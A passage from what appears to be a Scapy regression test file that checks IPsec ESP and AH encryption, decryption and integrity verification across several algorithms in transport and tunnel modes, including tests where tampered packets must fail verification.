crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / ESP - Tunnel - Authentication Algorithms ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / ESP - Encryption + Authentication ####################################### = IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / AH - Transport ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before decryption e[TCP].sport = 5 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / 